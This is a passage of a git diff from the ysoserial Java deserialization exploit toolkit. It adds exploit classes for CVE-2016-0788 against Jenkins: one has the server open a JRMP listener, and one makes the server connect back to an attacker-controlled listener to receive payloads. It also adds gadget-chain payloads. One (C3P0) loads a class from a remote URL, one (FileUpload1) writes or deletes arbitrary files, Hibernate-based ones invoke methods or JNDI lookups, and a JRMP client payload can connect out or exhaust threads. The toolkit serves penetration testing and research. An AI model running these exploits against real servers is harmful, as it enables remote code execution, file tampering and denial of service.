+ return c; + } +} diff --git a/src/main/java/ysoserial/exploit/JenkinsListener.java b/src/main/java/ysoserial/exploit/JenkinsListener.java new file mode 100644 index 0000000..64c2adb --- /dev/null +++ b/src/main/java/ysoserial/exploit/JenkinsListener.java @@ -0,0 +1,215 @@ +package ysoserial.exploit; + + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.rmi.activation.ActivationDesc; +import java.rmi.activation.ActivationID; +import java.rmi.activation.ActivationInstantiator; + +import javax.net.SocketFactory; + +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.JarLoader; +import sun.rmi.server.Util; +import sun.rmi.transport.TransportConstants; +import ysoserial.payloads.JRMPListener; +import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; +import ysoserial.payloads.util.Reflections; + + +/** + * CVE-2016-0788 exploit (1) + * + * 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol. + * 2. that payload causes the remote server to open up an JRMP listener (and export an object). + * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload. + * + * Extra twist: + * The well-known objects exported by the listener use the system classloader which usually + * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id + * (which is using jenkins' classloader) that typically is properly randomized. + * Fortunately - for the exploiting party - there is also a gadget that allows to leak + * that identifier via an exception. + * + * @author mbechler + */ +@SuppressWarnings ( { + "rawtypes", "restriction" +} ) +public class JenkinsListener { + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + System.err.println("Invalid payload type '" + args[ 1 ] + "'"); + System.exit(-1); + } + + String jenkinsUrl = args[ 0 ]; + int jrmpPort = 12345; + + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + + Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); + InvocationHandler remote = Proxy.getInvocationHandler(call); + int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); + + System.err.println("* JarLoader oid is " + oid); + + Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort)); + + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + + Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass); + + try { + c.call((Callable) o); + } + catch ( Exception e ) { + // [ActivationGroupImpl[UnicastServerRef [liveRef: + // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, + // -9046794842107247609]] + + System.err.println(e.getMessage()); + + parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e); + } + + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + } + + } + + + private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class reqClass ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + reqCons.setAccessible(true); + return reqCons + .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] { + uro, + }); + } + + + private static void parseObjIdAndExploit ( final String[] args, final Class payloadClass, int jrmpPort, + InetSocketAddress isa, Exception e ) throws Exception, IOException { + String msg = e.getMessage(); + int start = msg.indexOf("objID:["); + if ( start < 0 ) { + throw new Exception("Failed to get object id"); + } + + int sep = msg.indexOf(", ", start + 1); + + if ( sep < 0 ) { + throw new Exception("Failed to get object id, separator"); + } + + int end = msg.indexOf("]", sep + 1); + + if ( end < 0 ) { + throw new Exception("Failed to get object id, separator"); + } + + String uid = msg.substring(start + 7, sep); + String objNum = msg.substring(sep + 2, end); + + System.err.println("* UID is " + uid); + System.err.println("* ObjNum is " + objNum); + + String[] parts = uid.split(":"); + + long obj = Long.parseLong(objNum); + int o1 = Integer.parseInt(parts[ 0 ], 16); + long o2 = Long.parseLong(parts[ 1 ], 16); + short o3 = Short.parseShort(parts[ 2 ], 16); + + exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]); + } + + + private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class payloadClass, String payloadArg ) + throws IOException { + Socket s = null; + DataOutputStream dos = null; + try { + System.err.println("* Opening JRMP socket " + isa); + s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings ( "resource" ) + final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); + + objOut.writeLong(obj); + objOut.writeInt(o1); + objOut.writeLong(o2); + objOut.writeShort(o3); + + objOut.writeInt(-1); + objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class))); + + final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance(); + final Object object = payload.getObject(payloadArg); + objOut.writeObject(object); + os.flush(); + ObjectPayload.Utils.releasePayload(payload, object); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + finally { + if ( dos != null ) { + dos.close(); + } + if ( s != null ) { + s.close(); + } + } + } + + +} diff --git a/src/main/java/ysoserial/exploit/JenkinsReverse.java b/src/main/java/ysoserial/exploit/JenkinsReverse.java new file mode 100644 index 0000000..ba4d3fe --- /dev/null +++ b/src/main/java/ysoserial/exploit/JenkinsReverse.java @@ -0,0 +1,80 @@ +package ysoserial.exploit; + + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.rmi.registry.Registry; +import java.util.Random; + +import hudson.remoting.Channel; +import ysoserial.exploit.JRMPListener; +import ysoserial.payloads.JRMPClient; +import ysoserial.payloads.ObjectPayload.Utils; + + +/** + * CVE-2016-0788 exploit (2) + * + * - Sets up a local {@link JRMPListener} + * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol + * that will cause the remote to open a JRMP connection to our listener + * - upon connection the specified payload will be delivered to the remote + * (that will deserialize using a default ObjectInputStream) + * + * @author mbechler + * + */ +public class JenkinsReverse { + + public static final void main ( final String[] args ) { + if ( args.length < 4 ) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + + final Object payloadObject = Utils.makePayloadObject(args[2], args[3]); + String myAddr = args[ 1 ]; + int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; + String jenkinsUrl = args[ 0 ]; + + Thread t = null; + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); + t = new Thread(listener, "ReverseDGC"); + t.setDaemon(true); + t.start(); + Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort); + c.call(JenkinsCLI.getPropertyCallable(payload)); + listener.waitFor(1000); + listener.close(); + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + + if ( t != null ) { + t.interrupt(); + try { + t.join(); + } + catch ( InterruptedException e ) { + e.printStackTrace(System.err); + } + } + } + Utils.releasePayload(args[2], payloadObject); + } +} diff --git a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java index 7286a00..e4eff65 100644 --- a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java +++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java @@ -3,11 +3,11 @@ package ysoserial.exploit; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; -import java.util.Arrays; import java.util.concurrent.Callable; import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.Gadgets; import ysoserial.secmgr.ExecCheckingSecurityManager; @@ -18,6 +18,7 @@ import ysoserial.secmgr.ExecCheckingSecurityManager; * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . */ +@SuppressWarnings({"rawtypes", "unchecked"}) public class RMIRegistryExploit { public static void main(final String[] args) throws Exception { final String host = args[0]; @@ -35,7 +36,8 @@ public class RMIRegistryExploit { final Class payloadClass, final String command) throws Exception { new ExecCheckingSecurityManager().wrap(new Callable(){public Void call() throws Exception { - Object payload = payloadClass.newInstance().getObject(command); + ObjectPayload payloadObj = payloadClass.newInstance(); + Object payload = payloadObj.getObject(command); String name = "pwned" + System.nanoTime(); Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); try { @@ -43,7 +45,7 @@ public class RMIRegistryExploit { } catch (Throwable e) { e.printStackTrace(); } - + Utils.releasePayload(payloadObj, payload); return null; }}); } diff --git a/src/main/java/ysoserial/payloads/BeanShell1.java b/src/main/java/ysoserial/payloads/BeanShell1.java index 04b61e1..80ab9d9 100644 --- a/src/main/java/ysoserial/payloads/BeanShell1.java +++ b/src/main/java/ysoserial/payloads/BeanShell1.java @@ -3,8 +3,6 @@ package ysoserial.payloads; import bsh.Interpreter; import bsh.XThis; -import java.io.*; -import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Comparator; @@ -17,7 +15,7 @@ import ysoserial.payloads.util.PayloadRunner; * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) */ -@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.beanshell:bsh:2.0b5" }) public class BeanShell1 extends PayloadRunner implements ObjectPayload { diff --git a/src/main/java/ysoserial/payloads/C3P0.java b/src/main/java/ysoserial/payloads/C3P0.java new file mode 100644 index 0000000..75876a2 --- /dev/null +++ b/src/main/java/ysoserial/payloads/C3P0.java @@ -0,0 +1,90 @@ +package ysoserial.payloads; + + +import java.io.PrintWriter; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * + * + * com.sun.jndi.rmi.registry.RegistryContext->lookup + * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject + * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject + * + * Arguments: + * - base_url:classname + * + * Yields: + * - Instantiation of remotely loaded class + * + * @author mbechler + * + */ +@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" ) +@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} ) +public class C3P0 implements ObjectPayload { + + public Object getObject ( String command ) throws Exception { + int sep = command.lastIndexOf(':'); + if ( sep < 0 ) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); + return b; + } + + + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private String className; + private String url; + + public PoolSource ( String className, String url ) { + this.className = className; + this.url = url; + } + + public Reference getReference () throws NamingException { + return new Reference("exploit", this.className, this.url); + } + + public PrintWriter getLogWriter () throws SQLException {return null;} + public void setLogWriter ( PrintWriter out ) throws SQLException {} + public void setLoginTimeout ( int seconds ) throws SQLException {} + public int getLoginTimeout () throws SQLException {return 0;} + public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} + public PooledConnection getPooledConnection () throws SQLException {return null;} + public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} + + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(C3P0.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java b/src/main/java/ysoserial/payloads/CommonsBeanutils1.java similarity index 76% rename from src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java rename to src/main/java/ysoserial/payloads/CommonsBeanutils1.java index 27b34d1..cc0d977 100755 --- a/src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java +++ b/src/main/java/ysoserial/payloads/CommonsBeanutils1.java @@ -10,14 +10,12 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; - -@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) -public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload { +public class CommonsBeanutils1 implements ObjectPayload { public Object getObject(final String command) throws Exception { - final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit"); @@ -39,6 +37,6 @@ public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload> { public Queue getObject(final String command) throws Exception { - final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); diff --git a/src/main/java/ysoserial/payloads/CommonsCollections3.java b/src/main/java/ysoserial/payloads/CommonsCollections3.java index a0cf572..6216342 100755 --- a/src/main/java/ysoserial/payloads/CommonsCollections3.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections3.java @@ -17,19 +17,18 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; /* * Variation on CommonsCollections1 that uses InstantiateTransformer instead of * InvokerTransformer. */ -@SuppressWarnings({"rawtypes", "unchecked"}) +@SuppressWarnings({"rawtypes", "unchecked", "restriction"}) @Dependencies({"commons-collections:commons-collections:3.1"}) public class CommonsCollections3 extends PayloadRunner implements ObjectPayload { public Object getObject(final String command) throws Exception { - TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command); + Object templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( diff --git a/src/main/java/ysoserial/payloads/CommonsCollections4.java b/src/main/java/ysoserial/payloads/CommonsCollections4.java index 76c6f6c..3ad2147 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections4.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections4.java @@ -16,7 +16,6 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; /* @@ -28,7 +27,7 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; public class CommonsCollections4 implements ObjectPayload> { public Queue getObject(final String command) throws Exception { - TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + Object templates = Gadgets.createTemplatesImpl(command); ConstantTransformer constant = new ConstantTransformer(String.class); diff --git a/src/main/java/ysoserial/payloads/DynamicDependencies.java b/src/main/java/ysoserial/payloads/DynamicDependencies.java new file mode 100644 index 0000000..35a6593 --- /dev/null +++ b/src/main/java/ysoserial/payloads/DynamicDependencies.java @@ -0,0 +1,10 @@ +package ysoserial.payloads; + + +/** + * @author mbechler + * + */ +public interface DynamicDependencies { + +} diff --git a/src/main/java/ysoserial/payloads/FileUpload1.java b/src/main/java/ysoserial/payloads/FileUpload1.java new file mode 100644 index 0000000..ef88c8e --- /dev/null +++ b/src/main/java/ysoserial/payloads/FileUpload1.java @@ -0,0 +1,113 @@ +package ysoserial.payloads; + + +import java.io.File; +import java.io.IOException; +import java.io.OutputStream; +import java.util.Arrays; + +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.fileupload.disk.DiskFileItem; +import org.apache.commons.io.output.DeferredFileOutputStream; +import org.apache.commons.io.output.ThresholdingOutputStream; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * Gadget chain: + * DiskFileItem.readObject() + * + * Arguments: + * - copyAndDelete:sourceFile:destDir + * - write:destDir:ascii-data + * - writeB64:destDir:base64-data + * - writeOld:destFile:ascii-data + * - writeOldB64:destFile:base64-data + * + * Yields: + * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) + * - pre 1.3.1 (+ old JRE): write data to an arbitrary file + * - 1.3.1+: write data to a more or less random file in an arbitrary directory + * + * @author mbechler + */ +@Dependencies ( { + "commons-fileupload:commons-fileupload:1.3.1", + "commons-io:commons-io:2.4" +} ) +@PayloadTest(harness="ysoserial.payloads.FileUploadTest") +public class FileUpload1 implements ReleaseableObjectPayload { + + public DiskFileItem getObject ( String command ) throws Exception { + + String[] parts = command.split(":"); + + if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) { + return copyAndDelete(parts[ 1 ], parts[ 2 ]); + } + else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) { + return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); + } + else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) { + return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); + } + else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) { + return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); + } + else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) { + return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); + } + else { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + } + + + public void release ( DiskFileItem obj ) throws Exception { + // otherwise the finalizer deletes the file + DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); + Reflections.setFieldValue(obj, "dfos", dfos); + } + + private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + + // writes data to an arbitrary file + private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + + private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(FileUpload1.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/Hibernate1.java b/src/main/java/ysoserial/payloads/Hibernate1.java new file mode 100644 index 0000000..e5b0488 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Hibernate1.java @@ -0,0 +1,131 @@ +package ysoserial.payloads; + + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; + +import org.hibernate.engine.spi.TypedValue; +import org.hibernate.tuple.component.AbstractComponentTuplizer; +import org.hibernate.tuple.component.PojoComponentTuplizer; +import org.hibernate.type.AbstractType; +import org.hibernate.type.ComponentType; +import org.hibernate.type.Type; + +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * + * org.hibernate.property.access.spi.GetterMethodImpl.get() + * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() + * org.hibernate.type.ComponentType.getPropertyValue(C) + * org.hibernate.type.ComponentType.getHashCode() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.internal.util.ValueHolder.getValue() + * org.hibernate.engine.spi.TypedValue.hashCode() + * + * + * Requires: + * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) + * + * @author mbechler + */ +public class Hibernate1 implements ObjectPayload, DynamicDependencies { + + public static String[] getDependencies () { + if ( System.getProperty("hibernate5") != null ) { + return new String[] { + "org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", + "javax.transaction:javax.transaction-api:1.2" + }; + } + + return new String[] { + "org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", + "javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1" + }; + + } + + + public static Object makeGetter ( Class tplClass, String method ) throws NoSuchMethodException, SecurityException, InstantiationException, + IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException { + if ( System.getProperty("hibernate5") != null ) { + return makeHibernate5Getter(tplClass, method); + } + return makeHibernate4Getter(tplClass, method); + } + + + public static Object makeHibernate4Getter ( Class tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException, + SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Class getterIf = Class.forName("org.hibernate.property.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); + Constructor bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); + bgCon.setAccessible(true); + + if ( !method.startsWith("get") ) { + throw new IllegalArgumentException("Hibernate4 can only call getters"); + } + + String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4); + + Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName); + Object arr = Array.newInstance(getterIf, 1); + Array.set(arr, 0, g); + return arr; + } + + + public static Object makeHibernate5Getter ( Class tplClass, String method ) throws NoSuchMethodException, SecurityException, + ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Class getterIf = Class.forName("org.hibernate.property.access.spi.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); + Constructor bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class); + Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method)); + Object arr = Array.newInstance(getterIf, 1); + Array.set(arr, 0, g); + return arr; + } + + + public Object getObject ( String command ) throws Exception { + Object tpl = Gadgets.createTemplatesImpl(command); + Object getters = makeGetter(tpl.getClass(), "getOutputProperties"); + return makeCaller(tpl, getters); + } + + + static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, + InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { + PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); + Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); + + ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); + Reflections.setFieldValue(t, "componentTuplizer", tup); + Reflections.setFieldValue(t, "propertySpan", 1); + Reflections.setFieldValue(t, "propertyTypes", new Type[] { + t + }); + + TypedValue v1 = new TypedValue(t, null); + Reflections.setFieldValue(v1, "value", tpl); + Reflections.setFieldValue(v1, "type", t); + + TypedValue v2 = new TypedValue(t, null); + Reflections.setFieldValue(v2, "value", tpl); + Reflections.setFieldValue(v2, "type", t); + + return Gadgets.makeMap(v1, v2); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Hibernate1.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/Hibernate2.java b/src/main/java/ysoserial/payloads/Hibernate2.java new file mode 100644 index 0000000..b8c1ae5 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Hibernate2.java @@ -0,0 +1,60 @@ +package ysoserial.payloads; + + +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; + +import com.sun.rowset.JdbcRowSetImpl; + + +/** + * + * Another application filter bypass + * + * Needs a getter invocation that is provided by hibernate here + * + * javax.naming.InitialContext.InitialContext.lookup() + * com.sun.rowset.JdbcRowSetImpl.connect() + * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() + * org.hibernate.property.access.spi.GetterMethodImpl.get() + * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() + * org.hibernate.type.ComponentType.getPropertyValue(C) + * org.hibernate.type.ComponentType.getHashCode() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.internal.util.ValueHolder.getValue() + * org.hibernate.engine.spi.TypedValue.hashCode() + * + * + * Requires: + * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) + * + * Arg: + * - JNDI name (i.e. rmi:) + * + * Yields: + * - JNDI lookup invocation (e.g. connect to remote RMI) + * + * @author mbechler + */ +@SuppressWarnings ( { + "restriction" +} ) +@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest") +public class Hibernate2 implements ObjectPayload, DynamicDependencies { + + public static String[] getDependencies () { + return Hibernate1.getDependencies(); + } + + public Object getObject ( String command ) throws Exception { + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName("rmi: " + command); + return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") ); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Hibernate2.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/JRMPClient.java b/src/main/java/ysoserial/payloads/JRMPClient.java new file mode 100644 index 0000000..d39c950 --- /dev/null +++ b/src/main/java/ysoserial/payloads/JRMPClient.java @@ -0,0 +1,81 @@ +package ysoserial.payloads; + + +import java.lang.reflect.Proxy; +import java.rmi.registry.Registry; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; + + +/** + * + * + * UnicastRef.newCall(RemoteObject, Operation[], int, long) + * DGCImpl_Stub.dirty(ObjID[], long, Lease) + * DGCClient$EndpointEntry.makeDirtyCall(Set, long) + * DGCClient$EndpointEntry.registerRefs(List) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + * + * Thread.start() + * DGCClient$EndpointEntry.(Endpoint) + * DGCClient$EndpointEntry.lookup(Endpoint) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + * + * Requires: + * - JavaSE + * + * Argument: + * - host:port to connect to, host only chooses random port (DOS if repeated many times) + * + * Yields: + * * an established JRMP connection to the endpoint (if reachable) + * * a connected RMI Registry proxy + * * one system thread per endpoint (DOS) + * + * @author mbechler + */ +@SuppressWarnings ( { + "restriction" +} ) +@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") +public class JRMPClient extends PayloadRunner implements ObjectPayload { + + public Registry getObject ( final String command ) throws Exception { + + String host; + int port; + int sep = command.indexOf(':'); + if ( sep < 0 ) { + port = new Random().nextInt(65535); + host = command; + } + else { + host = command.substring(0, sep); + port = Integer.valueOf(command.substring(sep + 1)); + } + ObjID id = new ObjID(0); // RMI registry + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { + Registry.class + }, obj); + return 